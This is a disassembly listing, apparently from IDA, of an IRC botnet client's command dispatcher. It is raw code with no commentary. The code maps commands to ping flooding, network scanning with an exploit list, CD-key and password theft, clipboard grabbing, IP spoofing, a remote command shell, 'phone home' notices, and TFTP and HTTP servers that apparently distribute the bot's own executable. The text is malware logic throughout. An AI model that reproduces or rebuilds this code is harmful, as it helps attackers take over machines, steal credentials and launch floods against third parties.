loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi		; Str2
		push	offset aPingstop ; "pingstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	dword ptr [ebp+esi+Args]
		push	16h
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_42CBB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi		; Str2
		push	offset aTftpstop ; "tftpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	dword ptr [ebp+esi+Args]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi		; Str2
		push	offset aFindfilestop ; "findfilestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi		; Str2
		push	offset aFfstop	; "ffstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi		; Str2
		push	offset aProcsstop ; "procsstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi		; Str2
		push	offset aPsstop	; "psstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi		; Str2
		push	offset aClonestop ; "clonestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	dword ptr [ebp+esi+Args]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi		; Str2
		push	offset aSecurestop ; "securestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	dword ptr [ebp+esi+Args]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA88
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi		; Str2
		push	offset aScanstop ; "scanstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	dword ptr [ebp+esi+Args]
		push	0Bh
		push	offset aScan	; "Scan"
		push	offset dword_42CA68
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi		; Str2
		push	offset aScanstats ; "scanstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi		; Str2
		push	offset aStats	; "stats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi		; Str2
		push	offset aTransferstats ;	"transferstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi		; Str2
		push	offset aTrstats	; "trstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi		; Str2
		push	offset aConnectbacksta ; "connectbackstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi		; Str2
		push	offset aCbstats	; "cbstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi		; Str2
		push	offset aExploitlist ; "exploitlist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi		; Str2
		push	offset aExplist	; "explist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi		; Str2
		push	offset aReconnect ; "reconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi		; Str2
		push	offset aDisconnect ; "disconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi		; Str2
		push	offset aDc	; "dc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi		; Str2
		push	offset aQuit_0	; "quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi		; Str2
		push	offset aQ	; "q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi		; Str2
		push	offset aStatus	; "status"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi		; Str2
		push	offset aS_5	; "s"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi		; Str2
		push	offset aId	; "id"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi		; Str2
		push	offset aI	; "i"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi		; Str2
		push	offset aReboot	; "reboot"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset asc_42C9A4 ; "-"
		jnz	short loc_403192
		mov	eax, offset unk_42C97C


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi		; Str2
		push	offset aThreads	; "threads"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi		; Str2
		push	offset aT	; "t"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi		; Str2
		push	offset aAliases	; "aliases"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi		; Str2
		push	offset aAl	; "al"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi		; Str2
		push	offset aLog	; "log"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi		; Str2
		push	offset aLg	; "lg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi		; Str2
		push	offset aClearlog ; "clearlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi		; Str2
		push	offset aClg	; "clg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi		; Str2
		push	offset aNetinfo	; "netinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi		; Str2
		push	offset aNi	; "ni"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi		; Str2
		push	offset aSysinfo	; "sysinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi		; Str2
		push	offset aSi	; "si"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi		; Str2
		push	offset aLsp100	; "lsp100"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi		; Str2
		push	offset aLsp100	; "lsp100"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi		; Str2
		push	offset aProcs	; "procs"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi		; Str2
		push	offset aPs	; "ps"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi		; Str2
		push	offset aGetcdkeys ; "getcdkeys"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi		; Str2
		push	offset aKey	; "key"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi		; Str2
		push	offset aUptime	; "uptime"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi		; Str2
		push	offset aUp	; "up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi		; Str2
		push	offset aDriveinfo ; "driveinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi		; Str2
		push	offset aDrv	; "drv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi		; Str2
		push	offset aTestdlls ; "testdlls"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi		; Str2
		push	offset aDll	; "dll"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi		; Str2
		push	offset aOpencmd	; "opencmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi		; Str2
		push	offset aOcmd	; "ocmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi		; Str2
		push	offset aCmdstop	; "cmdstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	dword ptr [ebp+esi+Args]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_42C8B0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi		; Str2
		push	offset aWho	; "who"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_42C898 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C864
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		mov	[ebp+Source], eax
		jz	loc_401E94
		push	edi		; Str2
		push	offset aSpoof	; "spoof"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+Source]
		push	offset Str2	; "off"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+Dst]
		push	offset asc_42C830 ; "-"
		push	eax		; Dest
		mov	dword_4CEE08, ebx
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi		; Str2
		push	offset aGetclip	; "getclip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi		; Str2
		push	offset aGc	; "gc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi		; Str2
		push	offset aFlusharp ; "flusharp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi		; Str2
		push	offset aFarp	; "farp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi		; Str2
		push	offset aFlushdns ; "flushdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi		; Str2
		push	offset aFdns	; "fdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi		; Str2
		push	offset aCurrentip ; "currentip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi		; Str2
		push	offset aCip	; "cip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi		; Str2
		push	offset aRloginserver ; "rloginserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi		; Str2
		push	offset aRlogin	; "rlogin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi		; Str2
		push	offset aHttpserver ; "httpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi		; Str2
		push	offset aHttp	; "http"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi		; Str2
		push	offset aTftpserver ; "tftpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi		; Str2
		push	offset aTftp	; "tftp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi		; Str2
		push	offset aCrash	; "crash"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+Dst]
		push	offset asc_42C788 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+Dst]
		push	eax		; Str2
		call	sub_4151AD
		mov	[esp+5D98h+var_5D98], offset aCrash ; "crash"
		push	[ebp+esi+var_7C] ; Str1
		call	_strcmp
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi		; Str2
		push	offset aAsc	; "asc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi		; Str2
		push	offset aSa	; "sa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi		; Str2
		push	offset aPhonehome ; "phonehome"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi		; Str2
		push	offset aFindpass ; "findpass"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi		; Str2
		push	offset aFp	; "fp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_F54]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset asc_42C71C ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	26h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C6E0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+Src], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+Src]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+Src]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+Dst]
		push	offset asc_42C6A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+Src], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax		; Str2
		lea	eax, [edi-28h]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+Src]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+Src]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Count], eax
		push	[ebp+Count]	; Count
		call	dword_4CB6E0	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_860]
		push	eax		; Dest
		call	_strncpy
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax		; Str
		call	_strrchr
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+var_720], 1
		call	__snprintf
		push	offset byte_43D808 ; Str2
		push	esi		; Str1
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi		; Format
		lea	eax, [ebp+var_7D0]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C620 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40C33D
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C5E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C58C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax		; Format
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_427070	; GetModuleFileNameA


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset Str	; "nvigqyvja.exe"


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi		; Format
		lea	eax, [ebp+var_2C4C]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, dword_429078
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_2B40]
		push	offset asc_42C558 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	5		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset sub_411797
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C51C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+FullPath]
		push	104h
		push	eax
		call	ds:dword_427074	; GetSystemDirectoryA
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
